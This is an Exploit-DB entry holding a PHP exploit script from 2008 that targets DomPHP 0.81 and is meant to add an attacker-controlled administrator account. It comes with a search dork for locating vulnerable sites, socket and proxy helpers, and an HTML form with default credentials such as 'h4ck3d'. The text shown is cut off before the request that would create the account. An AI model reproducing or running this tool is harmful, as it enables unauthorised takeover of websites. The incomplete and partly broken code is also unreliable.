Exploit-DB #4880
Description: DomPHP 0.81 - Remote Add Administrator
Type: webapps
Platform: php
Date: 2008-01-10
Author: j0j0

Exploit:
<?php
/*
 *    DomPHP <= 0.81 Remote Add Administrator Exploit
 *    c0ded by j0j0
 *    dork: "Site crÃ©Ã© Ã  l'aide du CMS DomPHP"
 *
 *    Exploit work with CURL
*/

error_reporting(0);
ini_set('max_execution_time', 0);
ini_set('default_socket_timeout', 5);
ob_implicit_flush(true);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}


class exploit {
    function connect($host,$port=80) {
        echo '[*] Trying to connect to '.$host.':'.$port.'... ';
        $fp = @fsockopen($host, $port, $errno, $errstr, 4);
        switch($fp) {
            case true: echo 'OK'; break;
            case false: echo 'ERROR'; break;
        }
        echo '<br />'."\n";
        return $fp;
    }
}
?>

<html>
<head>
<style type="text/css">
body {
    margin:3%;
    font-size:10px;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    background-color:#1a1a1a;
    text-align: center;
}
input {
    background:#303030;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    font-size:10px;
    vertical-align:middle;
    border-left:1px solid #5d5d5d;
    border-right:1px solid #121212;
    border-bottom:1px solid #121212;
    border-top:1px solid #5d5d5d;
    padding: 3px;
    margin: 2px;
}
input[type=text] {
    width: 200px;
}
textarea {
    background:#303030;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    font-size:10px;
    vertical-align:middle;
    border-left:1px solid #121212;
    border-right:1px solid #5d5d5d;
    border-bottom:1px solid #5d5d5d;
    border-top:1px solid #121212;
}
table td {
    font-size: 10px;
    font-family: Verdana, Arial;
}
h3 { color: #CC0000; }
a {
    color: #999999;
    text-decoration: none;
    font-weight: bold;
}
#exploit {
    font-family: Courier New, sans-ms;
    font-size: 12px;
    color: #00FF00;
    width: 400px;
    text-align: left;
}
</style>
</head>
<body>
<h3>DomPHP <= 0.81 Remote Add Administrator Exploit<br /><br />-= c0ded by j0j0 =-</h3>
<br />
<center><table><tr><td><ul>
# Download'>http://">Download DomPHP 0.81

# Visit'>http://">Visit DomPHP Website

</ul></td></tr></table></center>
<br />
<form method="post" action="domphp.php">
<?php
$host = isset($_POST['host']) ? $_POST['host'] : 'localhost';
$proxy = isset($_POST['proxy']) ? $_POST['proxy'] : '';
$path = isset($_POST['path']) ? $_POST['path'] : '/domphp/';
$version = isset($_POST['version']) ? $_POST['version'] : '0.81';
$newAdminUsername = isset($_POST['newAdminUsername']) ? $_POST['newAdminUsername'] : 'j0j0';
$newAdminPassword = isset($_POST['newAdminPassword']) ? $_POST['newAdminPassword'] : 'h4ck3d';
?>
<center>
<table>
<tr>
    <td>Host :</td>
    <td><input name="host" type="text" value="<?php echo $host; ?>" /></td>
</tr>
<tr>
    <td>Proxy* :</td>
    <td><input name="proxy" type="text" value="<?php echo $proxy; ?>" /></td>
</tr>
<tr>
    <td>Path to DomPHP :</td>
    <td><input name="path" type="text" value="<?php echo $path; ?>" /></td>
</tr>
<tr>
    <td>DomPHP Version :</td>
    <td><input name="version" type="text" value="<?php echo $version; ?>" /></td>
</tr>
<tr>
    <td>New admin username :</td>
    <td><input name="newAdminUsername" type="text" value="<?php echo $newAdminUsername; ?>" /></td>
</tr>
<tr>
    <td>New admin password :</td>
    <td><input name="newAdminPassword" type="text" value="<?php echo $newAdminPassword; ?>" /></td>
</tr>
<tr>
    <td></td>
    <td><input name="xpl" type="submit" value="Send Exploit"></td>
</tr>
</table>
<i>* : opptional</i>
</center>
</form>

<br />
<?php
if($_POST['xpl']) {
$err=0;
foreach($_POST as $key=>$value) {
    if(empty($value) && $key != 'proxy') {
        echo $key .' is empty !<br />';
        $err++;
    }
}
if($err > 0) { die(); }
extract($_POST);

echo '<center>'."\n".'<div id="exploit">'."\n";

while(exploit::connect($host, 80) === FALSE) {
/* Try to connect to {$host} */
}

if(!empty($proxy)) {
$proxyHost = parse_url($proxy, PHP_URL_HOST);
$proxyPort = parse_url($proxy, PHP_URL_PORT);
if(empty($proxyHost) || empty($proxyPort)) {
    echo '[*] Bad proxy ! I won\'t use proxy to send exploit.<br />'."\n";
    unset($proxyHost, $proxyPort);
    $proxy = '';
}
else {
    $proxyConnect = exploit::connect($proxyHost, $proxyPort);
    if($proxyConnect === FALSE) {
        echo '[*] Bad proxy ! I won\'t use proxy to send exploit.<br />'."\n";
        unset($proxyHost, $proxyPort);
        $proxy = '';
    }
}
}

$port=80;
$proxy="";
for ($i=7; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];